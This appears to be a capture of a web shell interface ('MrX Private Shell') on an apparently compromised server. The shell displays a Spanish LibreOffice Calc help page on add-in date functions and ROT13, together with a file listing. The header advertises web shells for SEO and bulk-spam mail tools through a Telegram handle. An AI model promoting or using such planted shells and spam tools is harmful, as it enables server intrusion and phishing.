__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<base href="../../../../">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Funciones Add-in</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="es/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="es/bookmarks.js" defer></script><script type="text/javascript" src="es/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="es/text/shared/05/new_help.html"><div></div></a><a class="logo" href="es/text/shared/05/new_help.html"><p dir="auto">Ayuda de LibreOffice 25.2</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Módulo</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contenido</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Buscar en los marcadores del módulo elegido" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<noscript><div id="WarnJS"><h1 dir="auto">Active JavaScript en el navegador para mostrar las páginas de ayuda de LibreOffice.</h1></div></noscript>
<a id="bm_id3150870"></a><meta itemprop="keywords" content="add-ins,funciones">
<meta itemprop="keywords" content="funciones,funciones de add-ins">
<meta itemprop="keywords" content="Asistente para funciones,add-ins">
<h1 id="hd_id3150870" dir="auto">
<a id="head_addin"></a>Funciones de complementos</h1>
<p id="par_id3147427" class="paragraph" dir="auto"><a id="addintext"></a>Aquí se enumeran y describen algunas de las funciones de complemento disponibles.</p>
<p id="par_id3163713" class="paragraph" dir="auto"><a target="_top" href="es/text/scalc/01/04060112.html#addinconcept">Concepto de «complemento»</a></p>
<p id="par_id3146120" class="paragraph" dir="auto">En la ayuda encontrará también una <a target="_top" href="es/text/scalc/01/04060112.html">descripción de la interfaz de complementos de LibreOffice Calc</a>. Asimismo, se brinda también una descripción de las funciones importantes y sus parámetros para la <span id="swlnsystextscalc0104060111xml_1" class="switchinline"><span hidden="true" id="UNIXtextscalc0104060111xml_1" class="UNIX">biblioteca compartida</span><span hidden="true" id="defaulttextscalc0104060111xml_1">DLL de complementos de [officename] Calc</span></span>.</p>
<h2 id="hd_id3151075" dir="auto">Complementos suministrados</h2>
<p id="par_id3156285" class="paragraph" dir="auto">LibreOffice contiene ejemplos para la interfaz de complementos de LibreOffice Calc.</p>
<p id="par_id3159267" class="paragraph" dir="auto"><a target="_top" href="es/text/scalc/01/04060115.html">Funciones de análisis, primera parte</a></p>
<p id="par_id3154703" class="paragraph" dir="auto"><a target="_top" href="es/text/scalc/01/04060116.html">Funciones de análisis, segunda parte</a></p>









<a id="daysinyear"></a>
<a id="bm_id3151300"></a><meta itemprop="keywords" content="función DIASENAÑO">
<meta itemprop="keywords" content="número de días, en un año específico">
<a id="bm_id3153972"></a>
<h2 id="hd_id3151300" dir="auto">
<a id="DAYSINYEARh1"></a><a target="_top" href="es/text/scalc/01/04060111.html#daysinyear">DIASENAÑO</a>
</h2>
<p id="par_id3143220" class="paragraph" dir="auto"><span class="avis">Calcula el número de días del año que coinciden con la fecha especificada.</span></p>
<div class="embedded">
<a id="sectionsyntax"></a>
        <h4 id="hd_id3152015" dir="auto">Sintaxis</h4>
    </div>
<p id="par_id3154651" class="code" dir="auto">DIASENAÑO(Fecha)</p>
<p id="par_id3153803" class="paragraph" dir="auto"><span class="emph">Fecha</span> es cualquier fecha en el año respectivo. El parámetro Fecha debe ser una fecha válida de acuerdo a la configuración regional de LibreOffice.</p>
<div class="embedded">
<a id="sectionexample"></a>
        <h4 id="hd_id281171" dir="auto">Ejemplo</h4>
    </div>
<p id="par_id3153811" class="paragraph" dir="auto">=DIASENAÑO(A1) devuelve 366 días si A1 contiene 1968-02-29, una fecha válida del año 1968.</p>
<div class="embedded">
<a id="sectiontechinfo"></a>
        <h4 id="hd_id301640873452726" dir="auto">Información técnica</h4>
    </div>
<div class="embedded">
<a id="notODFF"></a>
        <p id="par_id251640873774457" class="paragraph" dir="auto">Esta función no forma parte de la norma <span class="emph">Formato de Documentos Abierto para Aplicaciones de Oficina (OpenDocument), versión 1.3. Parte 4: formato de fórmulas recalculadas (OpenFormula)</span>. El espacio de nombres es</p>
    </div>
<p id="par_id311640873586703" class="paragraph" dir="auto"><span class="literal">ORG.OPENOFFICE.DAYSINYEAR</span></p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id651683137822891" dir="auto"><a target="_blank" href="https://wiki.documentfoundation.org/Documentation/Calc_Functions/DAYSINYEAR">DAYSINYEAR wiki page</a>.</p></div>
</div>
<br>
<a id="daysinmonth"></a>
<a id="bm_id3154737"></a><meta itemprop="keywords" content="DIASENMES">
<meta itemprop="keywords" content="número de días,en un mes específico del año">
<a id="bm_id3155593"></a>
<h2 id="hd_id3154737" dir="auto">
<a id="DAYSINMONTHh1"></a><a target="_top" href="es/text/scalc/01/04060111.html#daysinmonth">DIASENMES</a>
</h2>
<p id="par_id3149316" class="paragraph" dir="auto"><span class="avis">Calcula el número de días del mes que coinciden con la fecha especificada.</span></p>
<div class="embedded">
<a id="sectionsyntax"></a>
        <h4 id="hd_id3152015" dir="auto">Sintaxis</h4>
    </div>
<p id="par_id3150955" class="code" dir="auto">DIASENMES(Fecha)</p>
<p id="par_id3147501" class="paragraph" dir="auto"><span class="emph">Fecha</span> es cualquier día en un mes respectivo de un año deseado. El parámetro Fecha debe ser una fecha válida de acuerdo con las configuraciones locales del LibreOffice.</p>
<div class="embedded">
<a id="sectionexample"></a>
        <h4 id="hd_id281171" dir="auto">Ejemplo</h4>
    </div>
<p id="par_id3155742" class="paragraph" dir="auto">=DIASENMES(A1) devuelve 29 días si A1 contiene 1968-02-17, una fecha válida para febrero de 1968.</p>
<div class="embedded">
<a id="sectiontechinfo"></a>
        <h4 id="hd_id301640873452726" dir="auto">Información técnica</h4>
    </div>
<div class="embedded">
<a id="notODFF"></a>
        <p id="par_id251640873774457" class="paragraph" dir="auto">Esta función no forma parte de la norma <span class="emph">Formato de Documentos Abierto para Aplicaciones de Oficina (OpenDocument), versión 1.3. Parte 4: formato de fórmulas recalculadas (OpenFormula)</span>. El espacio de nombres es</p>
    </div>
<p id="par_id311640873986700" class="paragraph" dir="auto"><span class="literal">ORG.OPENOFFICE.DAYSINMONTH</span></p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id741683137839471" dir="auto"><a target="_blank" href="https://wiki.documentfoundation.org/Documentation/Calc_Functions/DAYSINMONTH">DAYSINMONTH wiki page</a>.</p></div>
</div>
<br>
<a id="isleapyear"></a>
<a id="bm_id3149566"></a><meta itemprop="keywords" content="ESAÑOBISIESTO">
<meta itemprop="keywords" content="determinación de año bisiesto">
<h2 id="hd_id3149566" dir="auto">
<a id="ISLEAPYEARh1"></a><a target="_top" href="es/text/scalc/01/04060111.html#isleapyear">ISLEAPYEAR</a>
</h2>
<p id="par_id3150297" class="paragraph" dir="auto"><span class="avis">Determina si un año es bisiesto.</span> En caso afirmativo, la función devuelve el valor 1 (VERDADERO); en caso negativo, devuelve 0 (FALSO).</p>
<div class="embedded">
<a id="sectionsyntax"></a>
        <h4 id="hd_id3152015" dir="auto">Sintaxis</h4>
    </div>
<p id="par_id3150205" class="code" dir="auto">ESAÑOBISIESTO(Fecha)</p>
<p id="par_id3159239" class="paragraph" dir="auto"><span class="emph">Fecha</span> especifica si una fecha pertenece a un año bisiesto. El parámetro Fecha debe contener una fecha válida.</p>
<div class="embedded">
<a id="warnexcelbadleapyear"></a>
    <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id631683055048736" dir="auto">Microsoft Excel <a target="_blank" href="https://learn.microsoft.com/en-US/office/troubleshoot/excel/wrongly-assumes-1900-is-leap-year">supone incorrectamente que 1900 fue año bisiesto</a> y considera el día 29 de febrero de 1900, inexistente, como si fuese válido en los cálculos de fechas. Por este motivo, las fechas anteriores al 1 de marzo de 1900 son distintas en Excel y Calc.</p></div>
</div>
<br>
  </div>
<div class="embedded">
<a id="sectionexample"></a>
        <h4 id="hd_id281171" dir="auto">Ejemplo</h4>
    </div>
<p id="par_id3150786" class="paragraph" dir="auto">=ESAÑOBISIESTO(A1) devuelve 1 si A1 contiene «1968-02-29», la fecha válida del 29 de febrero de 1968 en su configuración regional.</p>
<p id="par_idN107E7" class="paragraph" dir="auto">Es posible utilizar también =ESAÑOBISIESTO(FECHA(1968;2;29)) o =ESAÑOBISIESTO("1968-02-29"), con la cadena de fecha en la notación ISO 8601.</p>
<p id="par_idN107EA" class="paragraph" dir="auto">No utilice nunca =ESAÑOBISIESTO(2/29/68), porque esto primero haría el cálculo de 2 dividido por 29 dividido por 68, y calcularía enseguida la función ESAÑOBISIESTO de este número pequeño como si fuese un número de fecha en serie.</p>
<div class="embedded">
<a id="sectiontechinfo"></a>
        <h4 id="hd_id301640873452726" dir="auto">Información técnica</h4>
    </div>
<div class="embedded">
<a id="notODFF"></a>
        <p id="par_id251640873774457" class="paragraph" dir="auto">Esta función no forma parte de la norma <span class="emph">Formato de Documentos Abierto para Aplicaciones de Oficina (OpenDocument), versión 1.3. Parte 4: formato de fórmulas recalculadas (OpenFormula)</span>. El espacio de nombres es</p>
    </div>
<p id="par_id311600873986703" class="paragraph" dir="auto"><span class="literal">ORG.OPENOFFICE.ISLEAPYEAR</span></p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id721677017247207" dir="auto"><a target="_blank" href="https://wiki.documentfoundation.org/Documentation/Calc_Functions/ISLEAPYEAR">ISLEAPYEAR wiki page</a>.</p></div>
</div>
<br>
<a id="months"></a>
<a id="bm_id3152898"></a><meta itemprop="keywords" content="MESES">
<meta itemprop="keywords" content="número de meses entre dos fechas">
<a id="bm_id3148839"></a>
<h2 id="hd_id3152898" dir="auto">
<a id="MONTHSh1"></a><a target="_top" href="es/text/scalc/01/04060111.html#months">MONTHS</a>
</h2>
<p id="par_id3153066" class="paragraph" dir="auto"><span class="avis">Calcula la diferencia entre dos fechas, en meses.</span></p>
<div class="embedded">
<a id="sectionsyntax"></a>
        <h4 id="hd_id3152015" dir="auto">Sintaxis</h4>
    </div>
<p id="par_id3146869" class="code" dir="auto">MESES(FechaInicial; FechaFinal; Tipo)</p>
<p id="par_id3145075" class="paragraph" dir="auto"><span class="emph">FechaInicio</span> es la primera fecha</p>
<p id="par_id3157981" class="paragraph" dir="auto"><span class="emph">FechaFinal</span> es el último día del periodo</p>
<p id="par_id3150111" class="paragraph" dir="auto"><span class="emph">Tipo</span> calcula el tipo de diferencia. Los valor posibles incluyen 0 (intervalo) y 1 (en el calendario anual).</p>
<div class="embedded">
<a id="sectiontechinfo"></a>
        <h4 id="hd_id301640873452726" dir="auto">Información técnica</h4>
    </div>
<div class="embedded">
<a id="notODFF"></a>
        <p id="par_id251640873774457" class="paragraph" dir="auto">Esta función no forma parte de la norma <span class="emph">Formato de Documentos Abierto para Aplicaciones de Oficina (OpenDocument), versión 1.3. Parte 4: formato de fórmulas recalculadas (OpenFormula)</span>. El espacio de nombres es</p>
    </div>
<p id="par_id321640873986703" class="paragraph" dir="auto"><span class="literal">ORG.OPENOFFICE.MONTHS</span></p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id31683137789991" dir="auto"><a target="_blank" href="https://wiki.documentfoundation.org/Documentation/Calc_Functions/MONTHS">MONTHS wiki page</a>.</p></div>
</div>
<br>
<a id="rot13"></a>
<a id="bm_id3159094"></a><meta itemprop="keywords" content="ROT13">
<meta itemprop="keywords" content="cifrado de texto">
<a id="bm_id3153283"></a>
<h2 id="hd_id3159094" dir="auto">ROT13</h2>
<p id="par_id3146781" class="paragraph" dir="auto"><span class="avis">Codifica una cadena de caracteres desplazándolos 13 posiciones en el alfabeto.</span> Después de la Z se vuelve al principio del alfabeto (rotación). Al volver a aplicar la función de codificación al código resultante, se descodifica el texto.</p>
<div class="embedded">
<a id="sectionsyntax"></a>
        <h4 id="hd_id3152015" dir="auto">Sintaxis</h4>
    </div>
<p id="par_id3159205" class="code" dir="auto">ROT13(texto)</p>
<p id="par_id3153249" class="paragraph" dir="auto"><span class="emph">Texto</span> es la cadena de caracteres que se cifrará. ROT13(ROT13(Texto)) descifra el código.</p>
<div class="embedded">
<a id="sectionexample"></a>
        <h4 id="hd_id281171" dir="auto">Ejemplo</h4>
    </div>
<p id="par_id151626469224135" class="paragraph" dir="auto"><span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">=ROT13("Gur Qbphzrag Sbhaqngvba shr shaqnqn ra frcgvrzoer qr 2010.")</span> devuelve la cadena «The Document Foundation fue fundada en septiembre de 2010.». Observe cómo ROT13 no altera los espacios, dígitos y puntos.</p>
<div class="embedded">
<a id="sectiontechinfo"></a>
        <h4 id="hd_id301640873452726" dir="auto">Información técnica</h4>
    </div>
<div class="embedded">
<a id="notODFF"></a>
        <p id="par_id251640873774457" class="paragraph" dir="auto">Esta función no forma parte de la norma <span class="emph">Formato de Documentos Abierto para Aplicaciones de Oficina (OpenDocument), versión 1.3. Parte 4: formato de fórmulas recalculadas (OpenFormula)</span>. El espacio de nombres es</p>
    </div>
<p id="par_id314640873986703" class="paragraph" dir="auto"><span class="literal">ORG.OPENOFFICE.ROT13</span></p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id221626469509161" dir="auto">Consulte la página wiki <a target="_blank" href="https://wiki.documentfoundation.org/Documentation/Calc_Functions/ROT13">ROT13</a> para obtener más detalles sobre esta función.</p></div>
</div>
<br>
<a id="weeks"></a>
<a id="bm_id3149048"></a><meta itemprop="keywords" content="SEMANAS">
<meta itemprop="keywords" content="número de semanas,entro dos fechas">
<a id="bm_id3150435"></a>
<h2 id="hd_id3149048" dir="auto">
<a id="WEEKSh1"></a><a target="_top" href="es/text/scalc/01/04060111.html#daysinmonth">WEEKS</a>
</h2>
<p id="par_id3153340" class="paragraph" dir="auto"><span class="avis">Calcula la diferencia entre dos fechas, en semanas.</span></p>
<div class="embedded">
<a id="sectionsyntax"></a>
        <h4 id="hd_id3152015" dir="auto">Sintaxis</h4>
    </div>
<p id="par_id3147402" class="code" dir="auto">SEMANAS(FechaInicial; FechaFinal; Tipo)</p>
<p id="par_id3151387" class="paragraph" dir="auto"><span class="emph">Fecha de inicio</span> es la fecha inicial en el intervalo.</p>
<p id="par_id3146324" class="paragraph" dir="auto"><span class="emph">Fecha de finalización</span> es la fecha final en el intervalo. La fecha de finalización debe ser posterior a la de inicio, o de lo contrario se devolverá un error.</p>
<p id="par_id3166467" class="paragraph" dir="auto"><span class="emph">Tipo</span> especifica el tipo de diferencia a calcular. Los valores posibles son 0 (intervalo de tiempo) o 1 (semanas naturales).</p>
<p id="par_id81641990941192" class="paragraph" dir="auto">Si <span class="emph">Tipo = 0</span>, la función supondrá que 7 días equivalen a una semana sin considerar ningún día específico para marcar el inicio de una semana.</p>
<p id="par_id31641991010650" class="paragraph" dir="auto">Si <span class="emph">Tipo = 1</span>, la función considerará el lunes como el primer día de la semana. Por lo tanto, a excepción de la fecha de inicio, cada aparición de un lunes en el intervalo se cuenta como una semana adicional.</p>
<div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id971641990480242" dir="auto">Esta función considera que el lunes es el primer día de la semana, independientemente de la configuración regional actual.</p></div>
</div>
<br>
<div class="embedded">
<a id="sectionexample"></a>
        <h4 id="hd_id281171" dir="auto">Ejemplo</h4>
    </div>
<p id="par_id671641994821992" class="paragraph" dir="auto">En los siguientes ejemplos, las fechas se pasan como cadenas. Sin embargo, también se pueden almacenar en celdas separadas y pasar como referencias.</p>
<p id="par_id71641991391639" class="paragraph" dir="auto"><span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">=WEEKS("2022-01-12","2022-01-17",0)</span> returns 0 because <span class="emph">Type</span> was set to 0 and there are only 5 days in the interval.</p>
<p id="par_id71641991390039" class="paragraph" dir="auto"><span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">=WEEKS("2022-01-12","2022-01-19",0)</span> returns 1 because <span class="emph">Type</span> was set to 0 and there are 7 days in the interval.</p>
<p id="par_id71641991391123" class="paragraph" dir="auto"><span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">=WEEKS("2022-01-12","2022-01-17",1)</span> returns 1 because <span class="emph">Type</span> was set to 1 and the interval contains a Monday, since 2022-01-12 is a Wednesday and 2022-01-17 is a Monday.</p>
<p id="par_id71641991332523" class="paragraph" dir="auto"><span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">=WEEKS("2022-01-12","2022-01-15",1)</span> returns 0 because <span class="emph">Type</span> was set to 1 and the interval does not contain any Mondays, except for the start date.</p>
<div class="embedded">
<a id="sectiontechinfo"></a>
        <h4 id="hd_id301640873452726" dir="auto">Información técnica</h4>
    </div>
<div class="embedded">
<a id="notODFF"></a>
        <p id="par_id251640873774457" class="paragraph" dir="auto">Esta función no forma parte de la norma <span class="emph">Formato de Documentos Abierto para Aplicaciones de Oficina (OpenDocument), versión 1.3. Parte 4: formato de fórmulas recalculadas (OpenFormula)</span>. El espacio de nombres es</p>
    </div>
<p id="par_id311640873986703" class="paragraph" dir="auto"><span class="literal">ORG.OPENOFFICE.WEEKS</span></p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id431683137857863" dir="auto"><a target="_blank" href="https://wiki.documentfoundation.org/Documentation/Calc_Functions/WEEKS">WEEKS wiki page</a>.</p></div>
</div>
<br>
<a id="weeksinyear"></a>
<a id="bm_id3145237"></a><meta itemprop="keywords" content="SEMANASENAÑO">
<meta itemprop="keywords" content="número de semanas,en un año específico">
<a id="bm_id3146883"></a>
<h2 id="hd_id3145237" dir="auto">
<a id="WEEKSINYEARh1"></a><a target="_top" href="es/text/scalc/01/04060111.html#weeksinyear">WEEKSINYEAR</a>
</h2>
<p id="par_id3147410" class="paragraph" dir="auto"><span class="avis">Calcula el número de semanas del año que contienen la fecha especificada.</span> El número de semanas se define de la siguiente forma: si una semana se encuentra dividida entre dos años, la semana se asigna al año que contiene más días de esa semana.</p>
<div class="embedded">
<a id="sectionsyntax"></a>
        <h4 id="hd_id3152015" dir="auto">Sintaxis</h4>
    </div>
<p id="par_id3145638" class="code" dir="auto">SEMANASENAÑO(fecha)</p>
<p id="par_id3149946" class="paragraph" dir="auto"><span class="emph">Fecha</span> es cualquier fecha en el año respectivo. El parámetro Fecha debe ser una fecha válida de acuerdo a la configuración regional de LibreOffice.</p>
<div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id971641990480244" dir="auto">Following ISO 8601, this function considers Monday to be the first day of the week, and the first week of a year is the one with most days in this year.</p></div>
</div>
<br>
<div class="embedded">
<a id="sectionexample"></a>
        <h4 id="hd_id281171" dir="auto">Ejemplo</h4>
    </div>
<p id="par_id3147614" class="paragraph" dir="auto">SEMANASENAÑO(A1) devuelve 53 si A1 contiene 1970-02-17, una fecha válida para el año 1970.</p>
<div class="embedded">
<a id="sectiontechinfo"></a>
        <h4 id="hd_id301640873452726" dir="auto">Información técnica</h4>
    </div>
<div class="embedded">
<a id="notODFF"></a>
        <p id="par_id251640873774457" class="paragraph" dir="auto">Esta función no forma parte de la norma <span class="emph">Formato de Documentos Abierto para Aplicaciones de Oficina (OpenDocument), versión 1.3. Parte 4: formato de fórmulas recalculadas (OpenFormula)</span>. El espacio de nombres es</p>
    </div>
<p id="par_id311540873986703" class="paragraph" dir="auto"><span class="literal">ORG.OPENOFFICE.WEEKSINYEAR</span></p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id291683137884236" dir="auto"><a target="_blank" href="https://wiki.documentfoundation.org/Documentation/Calc_Functions/WEEKSINYEAR">WEEKSINYEAR wiki page</a>.</p></div>
</div>
<br>
<a id="years"></a>
<a id="bm_id3154656"></a><meta itemprop="keywords" content="AÑOS">
<meta itemprop="keywords" content="número de años entre dos fechas">
<a id="bm_id3150368"></a>
<h2 id="hd_id3154656" dir="auto">
<a id="YEARSh1"></a><a target="_top" href="es/text/scalc/01/04060111.html#years">YEARS</a>
</h2>
<p id="par_id3150886" class="paragraph" dir="auto"><span class="avis">Calcula la diferencia entre dos fechas, en años.</span></p>
<div class="embedded">
<a id="sectionsyntax"></a>
        <h4 id="hd_id3152015" dir="auto">Sintaxis</h4>
    </div>
<p id="par_id3146114" class="code" dir="auto">AÑOS(Fecha de inicio; Fecha de finalización; Tipo)</p>
<p id="par_id3145387" class="paragraph" dir="auto"><span class="emph">FechaInicio</span> es la primera fecha</p>
<p id="par_id3156290" class="paragraph" dir="auto"><span class="emph">FechaFinal</span> es el último día del periodo</p>
<p id="par_id3152893" class="paragraph" dir="auto"><span class="emph">Tipo</span> calcula el tipo de diferencia. Los valores posibles son 0 (intervalo) y 1 (en calendario anual).</p>
<div class="embedded">
<a id="sectiontechinfo"></a>
        <h4 id="hd_id301640873452726" dir="auto">Información técnica</h4>
    </div>
<div class="embedded">
<a id="notODFF"></a>
        <p id="par_id251640873774457" class="paragraph" dir="auto">Esta función no forma parte de la norma <span class="emph">Formato de Documentos Abierto para Aplicaciones de Oficina (OpenDocument), versión 1.3. Parte 4: formato de fórmulas recalculadas (OpenFormula)</span>. El espacio de nombres es</p>
    </div>
<p id="par_id311640873086703" class="paragraph" dir="auto"><span class="literal">ORG.OPENOFFICE.YEARS</span></p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id871683137762172" dir="auto"><a target="_blank" href="https://wiki.documentfoundation.org/Documentation/Calc_Functions/YEARS">YEARS wiki page</a>.</p></div>
</div>
<br>

<h2 id="hd_id3157901" dir="auto">Complementos a través de la API de LibreOffice</h2>
<p id="par_id3149351" class="paragraph" dir="auto">Add-ins can also be implemented through the <a target="_blank" href="https://api.libreoffice.org/">LibreOffice API</a>.</p>
<a id="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a id="related"></a><span class="emph">Temas relacionados</span></p>
<div class="relatedbody" itemprop="mentions">
<div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/scalc/01/04060100.html">Funciones por categoría</a></p></div>
</div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><h2 style="text-align: center;"><a href="https://books.libreoffice.org" target="_blank">Libros de LibreOffice</a></h2>
<div class="noteicon" dir="auto" style="display:flex;justify-content:center;flex-wrap:wrap;row-gap:15px;">
<img src="media/navigation/libo-writer.svg" alt="Writer Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-calc.svg" alt="Calc Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-impress.svg" alt="Impress Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-draw.svg" alt="Draw Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-base.svg" alt="Base Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-math.svg" alt="Math Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-symbol-black.svg" alt="Getting Started Icon" style="width:60px;height:60px;">
</div>
<div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/scalc/01/04060111.xhp" target="_blank">/text/scalc/01/04060111.xhp</a></p>
<p dir="auto">Title is: Funciones Add-in</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Filemanager

Name Type Size Permission Actions
02110000.html File 15.01 KB 0644
02120100.html File 15.22 KB 0644
02140000.html File 8.61 KB 0644
02140100.html File 5.82 KB 0644
02140200.html File 5.36 KB 0644
02140300.html File 5.34 KB 0644
02140400.html File 5.36 KB 0644
02140500.html File 7.47 KB 0644
02140600.html File 11.4 KB 0644
02140700.html File 15.08 KB 0644
02150000.html File 8.98 KB 0644
02160000.html File 9.58 KB 0644
02170000.html File 6.17 KB 0644
02180000.html File 7.52 KB 0644
02190000.html File 5.06 KB 0644
02190100.html File 5.23 KB 0644
02190200.html File 5.36 KB 0644
02200000.html File 3.83 KB 0644
02210000.html File 6.42 KB 0644
02220000.html File 5.46 KB 0644
03070000.html File 6.75 KB 0644
03080000.html File 7.86 KB 0644
03090000.html File 6.58 KB 0644
03100000.html File 7.02 KB 0644
04010000.html File 5.67 KB 0644
04010100.html File 5.82 KB 0644
04010200.html File 5.86 KB 0644
04020000.html File 8.72 KB 0644
04030000.html File 6.69 KB 0644
04040000.html File 6.88 KB 0644
04050000.html File 8.82 KB 0644
04050100.html File 6.46 KB 0644
04060000.html File 17.69 KB 0644
04060100.html File 7.6 KB 0644
04060101.html File 92.45 KB 0644
04060102.html File 16.35 KB 0644
04060103.html File 73.88 KB 0644
04060104.html File 58.8 KB 0644
04060105.html File 25.5 KB 0644
04060106.html File 114.69 KB 0644
04060107.html File 88.93 KB 0644
04060108.html File 9.29 KB 0644
04060109.html File 90.86 KB 0644
04060110.html File 27.9 KB 0644
04060111.html File 27.19 KB 0644
04060112.html File 39.33 KB 0644
04060115.html File 31.23 KB 0644
04060116.html File 32.39 KB 0644
04060118.html File 70.86 KB 0644
04060119.html File 69.42 KB 0644
04060120.html File 11.5 KB 0644
04060181.html File 73.46 KB 0644
04060182.html File 53.23 KB 0644
04060183.html File 32.85 KB 0644
04060184.html File 73.4 KB 0644
04060185.html File 86.6 KB 0644
04060199.html File 22.62 KB 0644
04070000.html File 6.6 KB 0644
04070100.html File 11.97 KB 0644
04070200.html File 6.49 KB 0644
04070300.html File 6.52 KB 0644
04070400.html File 11.24 KB 0644
04080000.html File 8.23 KB 0644
04090000.html File 7.6 KB 0644
05020000.html File 9.9 KB 0644
05020600.html File 5.66 KB 0644
05030000.html File 6.54 KB 0644
05030300.html File 7.95 KB 0644
05030400.html File 7.88 KB 0644
05040000.html File 6.1 KB 0644
05050100.html File 8.08 KB 0644
05050300.html File 7.06 KB 0644
05060000.html File 10.1 KB 0644
05070000.html File 11.12 KB 0644
05070500.html File 11.38 KB 0644
05080000.html File 7.02 KB 0644
05080100.html File 5.51 KB 0644
05080200.html File 5.47 KB 0644
05080300.html File 14.18 KB 0644
05080400.html File 5.48 KB 0644
05120000.html File 13.6 KB 0644
05120100.html File 21.06 KB 0644
05120200.html File 4.96 KB 0644
05120300.html File 8.32 KB 0644
05120400.html File 37.45 KB 0644
05120500.html File 6.2 KB 0644
06020000.html File 6.76 KB 0644
06030000.html File 9.52 KB 0644
06030100.html File 7.29 KB 0644
06030200.html File 6.47 KB 0644
06030300.html File 7.19 KB 0644
06030400.html File 6.41 KB 0644
06030500.html File 6.2 KB 0644
06030600.html File 6.13 KB 0644
06030700.html File 6.59 KB 0644
06030800.html File 6.65 KB 0644
06030900.html File 6.32 KB 0644
06031000.html File 6.28 KB 0644
06040000.html File 8.51 KB 0644
06050000.html File 8.79 KB 0644
06060000.html File 6.66 KB 0644
06060200.html File 7.88 KB 0644
06070000.html File 5.51 KB 0644
06080000.html File 8.48 KB 0644
06130000.html File 7.74 KB 0644
